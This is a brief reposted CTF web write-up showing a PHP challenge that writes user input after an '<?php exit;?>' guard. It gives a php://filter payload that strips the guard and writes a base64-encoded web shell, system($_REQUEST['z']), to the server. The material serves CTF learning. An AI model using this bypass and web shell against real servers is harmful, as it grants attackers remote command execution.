【CTF WEB】函数绕过

最新推荐文章于 2024-05-01 02:51:26 发布

weixin_30685047

最新推荐文章于 2024-05-01 02:51:26 发布

阅读量244

点赞数

文章标签： php

原文链接：http://www.cnblogs.com/17bdw/p/9723376.html

版权

函数绕过

<?php 
show_source(__FILE__); 
$c = "<?php exit;?>"; 
@$c.=$_GET['c']; 
@$filename = $_GET['file']; 
@file_put_contents($filename, $c); 
highlight_file('tmp.php'); 

?> <?php
system($_REQUEST['z']);
?>

测试方法

http://218.2.197.236:29854/index.php?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=tmp.php&c=PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsneiddKTsKPz4=

转载于:https://www.cnblogs.com/17bdw/p/9723376.html